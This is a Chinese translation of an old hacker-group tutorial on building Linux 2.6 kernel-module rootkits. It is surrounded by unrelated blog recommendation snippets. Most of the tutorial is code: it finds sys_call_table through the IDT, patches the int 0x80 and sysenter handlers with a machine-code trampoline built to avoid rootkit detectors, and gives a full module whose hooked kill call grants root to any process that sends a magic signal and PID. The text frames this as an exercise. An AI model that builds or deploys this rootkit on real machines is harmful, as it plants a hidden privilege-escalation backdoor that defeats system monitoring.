LKM Rootkits on Linux x86 v2.6

Rootkit原理——ROOTKIT ON LINUX X86 V2.6 Linux2.6内核的LKM Rootkit原理LKM Rootkit之HOOK系统调用表一、修改系统调用表的地址二、path系统调用过程的二进制代码三、滥用DR寄存器非LKM RootkitRootkit的常见功能Rootkit的主要技术参考文献 LKM Rootkit之HOOK系统调用表 一、修改系统调用表的地址 Linux机制 HOOK系统调用表方式 sys_call_table[]导出 sys_call_table[__NR_open] = (void *) my_func_ptr; 阅读详情
 
=-|================================================-{ www.enye-sec.org }-====|
=-[ LKM Rootkits on Linux x86 v2.6 ]-========================================|
=-|==========================================================================|
=-[ por RaiSe <raise@enye-sec.org> ]-========================-[ 26/09/2005]-=|
=-[ 译者:王耀 <wangyao at cs.hit.edu.cn> ]-======================-[ 24/02/2008]-=|

注:原文是西班牙文,所以翻译比较吃力,所以有些地方是我按照自己理解来翻译的。
原文:http://www.enye-sec.org/textos/lkm.rootkits.en.linux.x86.v2.6.txt

------[ 0.- 索引 ]

0.- 索引
1.- 序言
2.- LKM rootkits的历史

3.- v2.4 和 v2.6内核之间的区别
  3.1.- 编译
  3.2.- sys_call_table 符号

4.- 修改 system_call handler
5.- 修改 sysenter_entry handler

6.- 一个修改handler实现hook SYS_kill的例子
7.- 结束

------[ 1.- 序言 ]

本文描述了2.4内核和2.6内核中LKM的区别。这里还饶有兴致的讲述了LKM rootkit的历史,并且介绍了一种新的方法实现一个能够避开现有一些检测的rootkit。
本文是基于Linux下LKM的,你至少应该对linux module编程有所了解,这里不是要写一个圣经之类的东西,只不过是一个rootkit的小练习。

------[ 2.- LKM rootkits 的历史]

在ring0实现一个LKM rootkit有很多的好处,你可以改变中断表的内容,重定向系统调用,以及任何你想做的事情。因为你已经获得了不受任何限制的权限。

刚开始的时候,第一个LKM Rootkit是通过修改sys_call_table的内容来实现的,所以我们这里通过LKM将系统调用重定向到注入代码中。它可以实现本地提权、隐藏文件、隐藏进程等功能,但是这种方式存在一个问题就是可以很容易实现一个检测器,通过分析sys_call_table,判断其有没有改变来检测出rootkit。

后来出现了一些不同的方法来尝试避免roorkit的检测。例如,在syscall中插入一个jump指令,或者是一些复杂的技术使能够在特定的情况下运行我们的代码。后一个的问题就是我们必须达到System权限(例如,我在phrack中提出了一种通过页错误的方法 -> http://www.phrack.org/show.php?p=61&a=7)。接下来,我将提出一种简单的方法来重定向系统调用,而不改变sys_call_table和IDT的内容。
下面,我们来看一下2.4内核和2.6内核的区别。


------[ 3.- v2.4 和 v2.6内核之间的区别 ]

我不会在很底层上讨论这些区别,主要是因为:
1>达不到那个知识深度
2>对于实现LKM没有必要了解那些
我的精力将主要集中在rootkit的实践上。

----[ 3.1.- 编译 ]

跃入眼球的第一个区别就是原来moudle是object file(.o),现在便成了kernel object file(.ko),同时编译module的方法也发生了变化。在动手写代码之前,你需要在你的系统上安装有kernel的源码,用来编译(译者注:只需要kernel-headers即可)。

.ko文件的编译会调用kbuild系统,这是2.6下新的特性,他会在编译的过程中加入一些符号。要编译一个printk("hello")的module会像下面一样操作:
注意:在拷贝、粘贴Makefile的时候需要特别注意,要拷贝正确的TAB,如果TAB变成了空格将不能够工作。

---- example.c ----

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>

int init_module(void)
{
    printk("hello!/n");

    return(0);
}

void cleanup_module(void)
{
}

MODULE_LICENSE("GPL");

---- eof ----


---- Makefile ----

obj-m := example.o

all:
    make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) modules

---- eof ----

在/lib/modules/$(shell uname -r)/ 下,应该有一个指向系统中指向内核源码的build目录(符号链接)。现在执行make,就可以在目录下面看到example.ko了。

----[ 3.2.- sys_call_table 符号]

2.6中另一个重要的不同就是sys_call_table符号不再被导出了。在2.4之前的,你可以直接获得sys_call_table的地址,通过下面的声明:

extern void *sys_call_table[];

2.6中事情稍微有些麻烦,有好几种方法来获得sys_call_table的地址。最简单的就是通过查找System.map,但是有可能这个文件被修改了或者没有更新,等等。因此,我们最好使用其他的办法来在执行时刻"pull"内存(运行时刻查找内核内存,找到sys_call_table的地址)。我使用的方法仅限于x86平台(正如本文讨论的几乎所有的东西),这不是一个优美的idea,但是在很多LKM中得到了应用。

它的实现中包含了改变linux 0x80中断处理函数,因此你应该知道linux下系统调用通过中断0x80来实现的,%eax中存放着系统调用号,%ebx、%ecx等中存放着参数。0x80中断的处理函数是system_call,在arch/i386/kernel/entry.S中定义,其kernel代码如下:

---- arch/i386/kernel/entry.S ----

    # system call handler stub
ENTRY(system_call)
    pushl %eax          # save orig_eax
    SAVE_ALL
    GET_THREAD_INFO(%ebp)
    cmpl $(nr_syscalls), %eax
    jae syscall_badsys
                    # system call tracing in operation
    testb $_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp)
    jnz syscall_trace_entry
syscall_call:
    call *sys_call_table(,%eax,4)
    movl %eax,EAX(%esp)     # store the return value
    ....

---- eof ----


我们看到首先保存记录到栈中,接下来进行一些检查,诸如系统调用号是否正确等。我们感兴趣的是:call sys_call_table * (% eax, 4)。这条指令中含有我们想要找的sys_call_table的地址,它的机器码如下:

 0xff 0x14 0x85 *address of sys_call_table*

我们要做的是获得int 0x80处理函数(system_call)的地址,但是现在我们只发现了0xff 0x14 0x85,我们获得Handler的地址了吗?我么你应该如何获得handler的地址呢?
很简单,通过IDT。IDT包含了每一个中断的描述符,IDT的地址保存在IDTR寄存器中,它是48位的,格式如下:

     47                                  15             0
     |     IDT Base Address              |   IDT Limit  |  


换一句话说,就是前两个字节是IDT界限,紧接着4个字节是基地址。通过sidt指令可以读取IDTR寄存器的内容,一旦获得来基地址,我们就可以到达IDT中0x80的中断描述符。描述符功64位,格式如下:

 struct idt_descriptor
     {
     unsigned short off_low;
     unsigned short sel;
     unsigned char none, flags;
     unsigned short off_high;
     };

也就是说,起始的两个字节和最后的两个字节分别对应着偏移字段的底端和高端,我们可以将它们拼接在一起,获得system_call的地址。整个的实现如下:    


---- print_sys_call_table.c ----

#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/unistd.h>
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/netdevice.h>
#include <linux/dirent.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>

void *get_system_call(void);
void *get_sys_call_table(void *system_call);

void **sys_call_table;
     
struct idt_descriptor
{
    unsigned short off_low;
    unsigned short sel;
    unsigned char none, flags;
    unsigned short off_high;
};


int init_module(void)
{
void *s_call;

s_call = get_system_call();
sys_call_table = get_sys_call_table(s_call);

printk("sys_call_table: 0x%08x/n", (int) sys_call_table);
return(-1); /*NOTES!*/
}

void cleanup_module(void) { /* null */ }


void *get_system_call(void)
{
unsigned char idtr[6];
unsigned long base;
struct idt_descriptor desc;

asm ("sidt %0" : "=m" (idtr));
base = *((unsigned long *) &idtr[2]);
memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc));

return((void *) ((desc.off_high << 16) + desc.off_low));

} /*********** fin get_sys_call_table() ***********/


void *get_sys_call_table(void *system_call)
{
unsigned char *p;
unsigned long s_c_t;
int count = 0;

p = (unsigned char *) system_call;

while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
    {
    p++;

    if (count++ > 500)
        {
        count = -1;
        break;
        }
    }

if (count != -1)
    {
    p += 3;
    s_c_t = *((unsigned long *) p);
    }
else
    s_c_t = 0;

return((void *) s_c_t);

} /********** fin get_sys_call_table() *************/

MODULE_LICENSE("GPL");

---- eof ----

使用3.1小节中的Makefile编译(将example.o改为print_sys_call_table.o),安装模块(错误时返回-1,看一下输出什么)。syslog输出为:

Sep 25 01:19:58 enye-sec kernel: sys_call_table: 0xc0323d00

我们再看一下:

[raise@enye-sec]$ grep sys_call_table /boot/System.map
c0323d00 D sys_call_table

可见我们的方法工作的非常好。

------[ 4.- 修改 system_call handler ]

下面,我们来寻找一个方法重定向所有你想要hook的系统调用,但是不改变sys_call_table内容和任何系统调用的代码,以及IDT。怎么来实现呢?非常简单,我们只需要修改int 0x80中断处理函数(system_call)中适当的几个字节就可以了。我们自己来管理我们的系统调用,不用担心rootkit检测器能够检测到它。

我们使用的方法非常简单,我们先来复习一下system_call的汇编代码:

---- arch/i386/kernel/entry.S ----

    # system call handler stub
ENTRY(system_call)
    pushl %eax          # save orig_eax
    SAVE_ALL
    GET_THREAD_INFO(%ebp)

    cmpl $(nr_syscalls), %eax    --->  Those two instrutions will replaced by
    jae syscall_badsys           --->  Our Own jump

                    # system call tracing in operation
    testb $_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp)
    jnz syscall_trace_entry
syscall_call:
    call *sys_call_table(,%eax,4)
    movl %eax,EAX(%esp)     # store the return value
    ....

---- eof ----

我们应该插入一个jump指令,我认为最好的地方在 GET_THREAD_INFO(%ebp) 和 testb
$_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp) 之间。这之间的正好是判断系统调用号,跳转到syscall_badsys。$(nr_syscalls)的定义如下:

#define nr_syscalls ((syscall_table_size)/4)

表示系统调用号码的最大值(0x112)。“cmpl $(nr_syscalls), %eax”指令占5字节,“jae
syscall_badsys”指令占6字节。这里有11个字节的空间来放入我们自己的跳转代码。最直接的方法就是用
pushl 我们的地址,接着一个 ret 来覆盖,总共需要6字节。我们将放在cmpl指令的开始处。

我们一旦获得系统的控制权(一个程序可以运行了int 0x80,执行了pushl,到我们自己的代码地址),我们就应该判断nr_syscalls和%eax,一旦%eax大于nr_syscalls,就跳转到syscall_badsys,就像原来的int0x80处理函数一样。

假设系统调用是正常的(%eax<nr_syscalls),接下来是检测是不是我们需要重定向的系统调用。例如,我们想重定向SYS_kill系统调用(系统调用号为37),比用%eax跟37比较,如果相等的话,就应该跳转到我们的系统调用代码(模块中的代码)。

如果系统调用不是我们想hook的,那么就返回到控制处理函数中,就像什么都没有发生。事实上现在系统在我们的控制中,我们能够调用原来的系统调用(通过跳转到syscall_call)。

不用担心这些理论的东西,本文后面,将会有一个hook kill系统调用的例子,那个时候你将会看到所有的细节。

------[ 5.- 修改 sysenter_entry handler ]
       
重写int 0x80处理函数的方法不能够完全解决问题,2.6内核之后,跟libc一起,不再使用int 0x80来调用系统调用了,而是使用了一个特殊的指令 sysenter(2字节:0x0f 0x34),它将会调用 “sysenter_entry”函数。这个函数实际上跟“system_call”一样,但是不再访问IDT了,因此节省了一些时间。也就是说,依靠libc的程序不再使用0x80中断处理函数来执行syscall了,而是使用sysenter。
译者注:出于兼容性和其它的一些考虑,2.6内核没有放弃INT 0x80的系统调用方式。对于那些出现在系统调用的嵌套过程中的系统调用(read、open、close、brk等)仍然使用中断方式,其他系统调用均使用SYSENTER方式。

下面,我们来看一下sysenter_entry函数:

---- arch/i386/kernel/entry.S ----

    # sysenter call handler stub
ENTRY(sysenter_entry)
    movl TSS_ESP0_OFFSET(%esp),%esp
sysenter_past_esp:
    sti
    pushl $(__USER_DS)
    pushl %ebp
    pushfl
    pushl $(__USER_CS)
    pushl $SYSENTER_RETURN

/*
 * Load the potential sixth argument from user stack.
 * Careful about security.
 */
    cmpl $__PAGE_OFFSET-3,%ebp
    jae syscall_fault
1:  movl (%ebp),%ebp
.section __ex_table,"a"
    .align 4
    .long 1b,syscall_fault
.previous

    pushl %eax
    SAVE_ALL
    GET_THREAD_INFO(%ebp)
    cmpl $(nr_syscalls), %eax    --->  Those two instrutions will replaced by
    jae syscall_badsys           --->  Our Own jump
    testb $_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp)
    jnz syscall_trace_entry
    call *sys_call_table(,%eax,4)
    movl %eax,EAX(%esp)
    ....

---- eof ----

正如我们看到的函数的内部实现,最后它也是跳转到sys_call_table中:call *sys_call_table(,%eax,4)。
之前的,在栈中保存记录也跟int 0x80的处理函数一模一样。因此,我们完全可以使用同样的方法来处理这个处理函数,加上一个跳转,跳转到我们代码。

不同就在于如何获得sysenter_entry的地址。不像sys_call_table,sysenter_entry是被导出的,我们可以通过下面的命令来获得:

[raise@enye-sec]$ grep sysenter_entry /proc/kallsyms
c010af50 t sysenter_entry

一定存在一种方法,使得能够在module中读取这个值,但是我笨得像一头驴,不能够找到一个函数来读取这个内核符号。如果有人知道怎么做的话,请告诉我:raise@enye-sec.org。我使用的方法是通过Makefile脚本来读取这个符号,非常高兴说,这个方法工作的很好!
译者注:我们可以通过在内核空间里面打开/proc/kallsyms,搜索"sysenter_entry"来获得这个符号地址。
---read_kallsyms---
/**
 * read_kallsyms - find sysenter address in /proc/kallsyms.
 *
 * success return the sysenter address,failed return 0.
 */
#define SYSENTER_ENTRY "sysenter_entry"
int read_kallsyms(void)
{
    mm_segment_t old_fs;
    ssize_t bytes;
    struct file *file = NULL;
    char *p,temp[20];
    int i = 0;

    file = filp_open(PROC_HOME,O_RDONLY,0);
    if (!file)
        return -1;

    if (!file->f_op->read)
        return -1;

    old_fs = get_fs();
    set_fs(get_ds());

    while ((bytes = file->f_op->read(file,read_buf,BUFF,&file->f_pos))) {
        if (( p = strstr(read_buf,SYSENTER_ENTRY)) != NULL) {
            while (*p--)
                if (*p == '/n')
                    break;

            while (*p++ != ' ') {
                temp[i++] = *p;
            }
            temp[--i] = '/0';
            sysenter = simple_strtoul(temp,NULL,16);
#if DEBUG == 1
            printk("sysenter: 0x%8x/n",sysenter);
#endif
            break;
        }
    }


    filp_close(file,NULL);

    return 0;
}

------[ 6.- 一个修改handler实现hook SYS_kill的例子 ]

这里是一个简单的例子,描述了如何修改system_call和sysenter_entry处理函数,实现重定向SYS_kill系统调用,实现本地提升权限,而不被rootkit检测器检测到。在拷贝、粘贴代码之前,最好完全理解了函数的实现。

rootkit中有两个跳转,一个在int 0x80的处理函数(system_call)中,一个在sysenter的处理函数(sysenter_entry)中。
这些跳转的指令在rootkit中分别保存在idt_handler[]和sysenter_entry[]数组中。

这两个数组很相似,我们通过覆盖数组中的某几个字节,来重定向到一个地址,实现对kill函数的hook。
char idt_handler[]= // (sysenter_handler is the same)
    "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x3d/x12/x01/x00/x00/x73/x02"
    "/xeb/x06/x68/x90/x90/x90/x90/xc3/x83/xf8/x25/x74/x06/x68/x90/x90"
    "/x90/x90/xc3/xff/x15/x90/x90/x90/x90/x68/x90/x90/x90/x90/xc3";

下面来详细看一下这些机器码:

* "/x90/x90/x90/x90/x90/x90/x90/x90/x90":
- 9 条 nop指令, 为了安全起见,我们跳到第5个nop指令(从原先的处理函数中跳转)。
译者注:其实这个没有必要,感觉像缓冲区溢出中的shellcode一样,因为这里是精确跳转,可以不用填充nop指令

* "/x3d/x12/x01/x00/x00" = 'cmp $0x112,%eax' :
-- 判断系统调用号是否正确。

* "/x73/x02" = 'jae +2' :
-- 如果 %eax>=0x122,那么跳过下面的2个字节的指令,调到pushl+ret处,即执行错误系统调用处理函数

* "/xeb/x06" = 'jmp +6' :
-- 跳过下面的2条指令(push + ret,共6字节)。

* "/x68/x90/x90/x90/x90/xc3" = 'pushl 0x90909090' 'ret' :
-- 这里0x90909090表示的地址是原先处理函数中syscall_badsys的地址。

* "/x83/xf8/x25" = 'cmp $0x25,%eax' :
-- 检测系统调用是否是我们想要重定向的 SYS_kill(0x25) 系统调用

* "/x74/x06" = 'je +6' :
-- 如果是跳过下面的2条指令(push + ret,共6字节)。

* "/x68/x90/x90/x90/x90/xc3" = 'pushl 0x90909090' 'ret' :
-- 这里 0x0909090 表示的地址是原先处理函数中"call *sys_call_table(,%eax,4)"指令的地址,即 syscall_call的地址。系统调用不是我们想要hook的kill系统调用时,我们应该将控制返回到中断处理函数中,为了不影响系统调用的执行,我们应该跳转到 syscall_call。

* "/xff/x15/x90/x90/x90/x90" = 'call *0x90909090' :
-- 这里,系统调用是 SYS_kill,因此我们需要跳转到我们自己的代码hacked_kill()中。0x90909090表示的地址就是函数hacked_kill()的地址。

* "/x68/x90/x90/x90/x90/xc3" = 'pushl 0x90909090' 'ret' :
-- 在执行完我们自己的系统调用之后,我们必须将控制权交还给系统,因此0x90909090表示的地址指向的“call sys_call_table * (% eax, 4)”之后的指令,我们称之为after_call。

* 结束 :).

译者注:直接看机器码实在是有些乱,还是整理成汇编代码看着比较清楚:
idt_handler:
    cmp $0x112,%eax
    jae +2
    jmp +6
    pushl $addr1 ;addr1:syscall_badsys
    ret

    cmp $0x25,%eax
    je +6
    pushl $addr2 ;addr2:syscall_call
    ret
    call *$addr3 ;addr3:hacked_kill
    pushl $addr4 ;addr4:after_call
    ret
这样我们对于上面的机器代码的流程应该就比较清楚了。

###############################################################################

<system_call>:
    push   %eax
    ..
    ..
    cmp    $0x137,%eax            -->push  address_of(new_idt) --------|  
    jae    c0103e98 <syscall_badsys>       -->ret                               |
                                                                                     |
<syscall_call>:        <----------------------------------------|                       |
    call   *0xc02cf4c0(,%eax,4)                 |                       |
    mov    %eax,0x18(%esp)     <-----------------------    |                       |
<syscall_exit>:                       |    |                       |
    cli                        |    |                       |
    ..                        |    |                       |
                            |    |                       |
    ..                        |    |                       |
                            |    |                       |
<syscall_badsys>:                    |    |                       |
    ..                        |    |                       |
                            |    |                       |
<new_idt>:      <-------------------------------------|----|-----------------------|
    cmp $0x112, %eax                |    |                      
    jae +2                        |    |                      
     |--jmp +6                        |    |                      
     |    pushl    $addr1 <-- addressof(syscall_badsys)    |    |                      
     |    ret                        |    |                      
     |                            |    |                       
     |    /*Hooked kill function*/            |    |                      
     -->cmp $0x25, %eax                    |    |
     ---je +6                        |    |     
     |    pushl $addr2 <-- addressof(syscall_call)  ------|----|
     |    ret                                             |
     |                                                    |
     |->call *addr3 <-- addressof(hooked_kill)          |
                                                        |
    pushl $addr4 <-- addressof(after_call)  ------|    
    ret

#####################################################################################

我希望我已经讲述清楚了。下面是你想要的完整的LKM的代码,我没有给出unistall的实现,所以结束的唯一方法就是重启系统。
译者注:可以备份system_call和sysenter_entry中被修改的地址和内容,在cleanup_module中,将其进行还原,就可以了。
注意:在拷贝、粘贴Makefile的时候需要特别主义,要拷贝正确的TAB,如果TAB变成了空格将不能够工作。


---- Makefile ----

obj-m := example_handlers_syskill.o
S_ENT = 0x`grep sysenter_entry /proc/kallsyms | head -c 8`

all:
    @echo
    @echo "------------------------------------------"
    @echo " LKM (SYS_kill) modified with handlers"
    @echo " raise@enye-sec.org | www.enye-sec.org"
    @echo "------------------------------------------"
    @echo
    @echo "#define DSYSENTER $(S_ENT)" > sysenter.h
    make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) modules

clean:
    @echo
    @echo "------------------------------------------"
    @echo " LKM (SYS_kill) con handlers modificados"
    @echo " raise@enye-sec.org | www.enye-sec.org"
    @echo "------------------------------------------"
    @echo
    @rm -f *.o *.ko *.mod.c .*.cmd sysenter.h
    make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) clean

---- eof ----


---- example_handlers_syskill.c ----

/*
 * Example of LKM x86 kernel 2.6.x changing handlers:
 *
 *  - system_call
 *  - sysenter_entry
 *
 * Once loaded to obtain local root run:
 *
 * # kill -s SIG PID
 *
 * SIG and PID can be changed by modify #define
 *
 *
 * RaiSe <raise@enye-sec.org>
 * eNYe Sec - http://www.enye-sec.org
 *
 */

#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/unistd.h>
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/netdevice.h>
#include <linux/dirent.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include "sysenter.h"

#define IDT 0
#define SYSENT 1
#define ORIG_BADSYS 19
#define SYSCALL_CALL 30
#define JUMP 5
#define HACKEDCALL 37
#define AFTER_CALL 42

#define SIG 58
#define PID 12345

/* Save the patched mem of idt and sysenter*/
#define PATCHED_SIZE_MAX 10
void *start_patch_idt, *start_patch_sysenter;
unsigned char orig_idt[PATCHED_SIZE_MAX], orig_sysenter[PATCHED_SIZE_MAX];

/* a orignal syscall pointer */
int (*orig_kill)(pid_t pid, int sig);

/* globales variables */
unsigned long orig_bad_sys[2], syscall_call[2];
unsigned long after_call[2], p_hacked_kill;
void *sysenter_entry;
void **sys_call_table;

/* function pointer */
void *get_system_call(void);
void *get_sys_call_table(void *system_call);
void set_idt_handler(void *system_call);
void set_sysenter_handler(void *sysenter);
int hacked_kill(pid_t pid, int sig);

/* structure */
struct idt_descriptor
{
    unsigned short off_low;
    unsigned short sel;
    unsigned char none, flags;
    unsigned short off_high;
};

/* handlers */
char idt_handler[]=
    "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x3d/x12/x01/x00/x00/x73/x02"
    "/xeb/x06/x68/x90/x90/x90/x90/xc3/x83/xf8/x25/x74/x06/x68/x90/x90"
    "/x90/x90/xc3/xff/x15/x90/x90/x90/x90/x68/x90/x90/x90/x90/xc3";

char sysenter_handler[]=
    "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x3d/x12/x01/x00/x00/x73/x02"
    "/xeb/x06/x68/x90/x90/x90/x90/xc3/x83/xf8/x25/x74/x06/x68/x90/x90"
    "/x90/x90/xc3/xff/x15/x90/x90/x90/x90/x68/x90/x90/x90/x90/xc3";


int init_module(void)
{
    void *s_call;

    sysenter_entry = (void *) DSYSENTER;

    s_call = get_system_call();
    sys_call_table = get_sys_call_table(s_call);
    set_idt_handler(s_call);
    set_sysenter_handler(sysenter_entry);

    p_hacked_kill = (unsigned long) hacked_kill;

    orig_kill = sys_call_table[__NR_kill];

    return(0);
}


void cleanup_module(void)
{
        memcpy(start_patch_idt, orig_idt, 6);
        memcpy(start_patch_sysenter, orig_sysenter, 6);
}


void *get_system_call(void)
{
    unsigned char idtr[6];
    unsigned long base;
    struct idt_descriptor desc;

asm ("sidt %0" : "=m" (idtr));
    base = *((unsigned long *) &idtr[2]);
    memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc));

    return((void *) ((desc.off_high << 16) + desc.off_low));

} /*********** fin get_sys_call_table() ***********/



void *get_sys_call_table(void *system_call)
{
    unsigned char *p;
    unsigned long s_c_t;

    p = (unsigned char *) system_call;
    /* Search "call *sys_call_table(,%eax,4)"*/
    while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
        p++;

    p += 3;
    s_c_t = *((unsigned long *) p);

    p += 4;
    after_call[IDT] = (unsigned long) p;

    return((void *) s_c_t);

} /********** fin get_sys_call_table() *************/



void set_idt_handler(void *system_call)
{
    unsigned char *p;
    unsigned long offset, *p2;

    p = (unsigned char *) system_call;
  
    /* Seek "jae syscall_badsys" */
    while (!((*p == 0x0f) && (*(p+1) == 0x83)))
        p++;

    start_patch_idt = p-5;
    memcpy(orig_idt, start_patch_idt ,6);

    p += 2;
    offset = *((unsigned long *) p);

    /* orig_bad_sys[IDT] = (unsigned long)((p-2) + offset + 6); */
    /* Use offset, Can be OK!*/
    orig_bad_sys[IDT] = (unsigned long)offset;
    syscall_call[IDT] = (unsigned long)((p-2) + 6);

    p = (unsigned char *)(syscall_call[IDT] - 0xb);

    *p++ = 0x68;
    p2 = (unsigned long *) p;
    *p2++ = (unsigned long) ((void *) &idt_handler[JUMP]);

    p = (unsigned char *) p2;
    *p = 0xc3;

    p = idt_handler;
    *((unsigned long *)((void *) p+ORIG_BADSYS)) = orig_bad_sys[IDT];
    *((unsigned long *)((void *) p+SYSCALL_CALL)) = syscall_call[IDT];
    *((unsigned long *)((void *) p+HACKEDCALL)) = (unsigned long) &p_hacked_kill;
    *((unsigned long *)((void *) p+AFTER_CALL)) = after_call[IDT];

} /********** fin set_idt_handler() ***********/



void set_sysenter_handler(void *sysenter)
{
    unsigned char *p;
    unsigned long *p2;

    p = (unsigned char *) sysenter;

    /* Seek "call *sys_call_table(,%eax,4)"*/
    while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
        p++;

    p += 7;
    after_call[SYSENT] = (unsigned long) p;

    p = (unsigned char *) sysenter;

    /* Search "cmp 0x112,%eax"*/
    while (!((*p == 0x3d) && (*(p+1) == 0x12) && (*(p+2) == 0x01)
             && (*(p+3) == 0x00)))
        p++;

    p += 11;

    orig_bad_sys[SYSENT] = orig_bad_sys[IDT];
    syscall_call[SYSENT] = (unsigned long)(p);

    p = (unsigned char *)(syscall_call[SYSENT] - 0xb);

    start_patch_sysenter = p;
    memcpy(orig_sysenter, start_patch_sysenter, 6);

    *p++ = 0x68;
    p2 = (unsigned long *) p;
    *p2++ = (unsigned long) ((void *) &sysenter_handler[JUMP]);

    p = (unsigned char *) p2;
    *p = 0xc3;

    p = sysenter_handler;
    *((unsigned long *)((void *) p+ORIG_BADSYS)) = orig_bad_sys[SYSENT];
    *((unsigned long *)((void *) p+SYSCALL_CALL)) = syscall_call[SYSENT];
    *((unsigned long *)((void *) p+HACKEDCALL)) = (unsigned long) &p_hacked_kill;
    *((unsigned long *)((void *) p+AFTER_CALL)) = after_call[SYSENT];

} /********** fin set_sysenter_handler() ***********/



int hacked_kill(pid_t pid, int sig)
{
    struct task_struct *ptr = current;
    int tsig = SIG, tpid = PID, ret_tmp;


    if ((tpid == pid) && (tsig == sig))
    {
        ptr->uid = 0;
        ptr->euid = 0;
        ptr->gid = 0;
        ptr->egid = 0;
        return(0);
    }
    else
    {
        ret_tmp = (*orig_kill)(pid, sig);
        return(ret_tmp);
    }

    return(-1);

} /********** fin hacked_kill ************/


/* Liensece GPL */
MODULE_LICENSE("GPL");
---- eof ----


------[ 7.- 结束 ]

我希望你已经明白了2.6内核下如何实现一个rootkit。很快将会在http://www.enye-sec.org上公布一个LKM Rootkit,支持完整的系统调用重定向,不仅仅是重定向kill系统调用;另外还有加载模块的自隐藏等功能。
再见 :).

RaiSe <raise@enye-sec.org>

=-|================================================================ EOF =====|
 
基于STM32L4XX、HAL库的CH182H1以太网收发器(PHY)驱动程序设计 define PHY_REG_PHYSCR 0x12 // PHY特殊控制寄存器。#define PHY_REG_PHYSTS 0x10 // PHY状态寄存器。#define PHY_REG_PHYIDR 0x11 // PHY标识寄存器。#define PHY_REG_ID1 0x02 // PHY标识符1。#define PHY_REG_ID2 0x03 // PHY标识符2。 阅读详情

相关推荐

LCD、LED、OLED、Mini LED、Micro LED、全阵列LED、QLED、QD-OLED、QNED、AMOLED是什么意思?

LCD(液晶显示器,Liquid Crystal Display)定义:LCD 是一种利用液晶材料控制光线通过的显示技术,需依靠背光源(如冷阴极荧光灯 CCFL 或 LED)照亮液晶层以形成图像。技术原理:液晶分子在电场作用下改变排列,控制背光通过的强度和颜色。液晶本身不发光,需外部光源。特点:结构包括背光层、液晶层、彩色滤光片和偏光片。响应时间较慢,黑色表现因背光漏光而偏灰。LED(发光二极管显示,Light Emitting Diode)定义。

中国最威武的城市!武功军威-武威,铁骨铮铮! 3428

Linux内核Hook系统调用execve

Linux内核hook系统调用execve,使得某个进程无法打开。

LEGENDA的博客 1366

CMU开源NavRL:深度强化学习如何破解无人机动态避障难题?

卡内基梅隆大学(CMU)开源了NavRL框架,利用深度强化学习解决无人机在复杂环境中的动态避障难题。该框架通过创新的状态表示、多目标奖励函数设计以及独立的安全屏障机制,使无人机能够通过仿真训练自主学会灵活、安全的导航策略,并成功实现从仿真到真实环境的零样本迁移。

hope8的博客 720

Linux4.19-通过IDT获取sys_call_table实现系统调用劫持

上一篇博客写了如何获取IDT地址,这里将接着上一篇博客继续写,如果还不清楚如何获取IDT可以看一下我的上一篇博客:Linux4.19-获取IDT地址:https://blog.csdn.net/qq_41208289/article/details/106012230 这里再次声明一下,博主的系统为目前最新版本的Debian10,Linux4.19内核(32位x86机器) 前言 网上的绝大部分博客对于获取sys_call_table的方法在目前的内核中都已经失效,Linux大概从4.8开始加入了保

CalvinXu 2266

Halcon: 获取仿射矩形-rectangle2的四个顶点、四条边的中点

Halcon 工业应用实用教程中的一个例子: * CenterY : 仿射矩形中心y * CenterX: 仿射矩形中心x * Phi: 仿射矩形角度 * Len1: 仿射矩形宽的一半 * Len2: 仿射矩形高的一半 * CornerY: 仿射矩形端点y * CornerX: 仿射矩形端点x * LineCenterY: 仿射矩形边中点y * LineCenterx: 仿射矩形边中点x * 矩...

ruotianxia的博客 8573

Tessent --- PDL

当关联的ICL模块是当前ICL顶部模块时,即当它与当前设计匹配时,只能iCall一个iTopProc。但是,可以在iTopProc内调用iCall iProc或iTopProc。为指定后续iProc命令引用的ICL模块,发出这个命令之后,随后定义的iProc都会对应的ICL模块进行定义。为后续iCall调用,当使用iCall命令调用该过程时,参数列表中的变量将被替换为iCall命令中指定的值。在调用iProc时,运行iProc内的命令。PDL是面向工程师的,工程师利用PDL语言,对ICL中的单元进行控制。

qiantianyiqian的博客 2791

权限维持-Linux-内核加载 LKM-Rootkit 后门

免责声明:本文仅做技术交流与学习...

金灰的博客 1652

马达种类全解析:VCM、Stepper、Piezo 在手机相机中的驱动原理与工程差异

在现代手机影像系统中,马达承担着核心成像组件的动态调节任务,如自动对焦(AF)、光学防抖(OIS)以及变焦调节。目前主流采用三类驱动器件:VCM(Voice Coil Motor)、Stepper(步进马达)、Piezo(压电马达)。不同马达方案在结构复杂度、响应速度、功耗、驱动方式与模组厚度适配等方面差异显著,对成像系统的性能表现有直接影响。本文将结合最新旗舰设备的应用现状,系统剖析这三类驱动马达的工作原理、架构特点与工程应用经验,为工程实践中选型与调试提供参考。

努力分享一些人工智能、计算机视觉、影像等相关的知识干货! 3784

KernelSU终极指南:轻松掌握GKI模式与LKM模式切换技巧

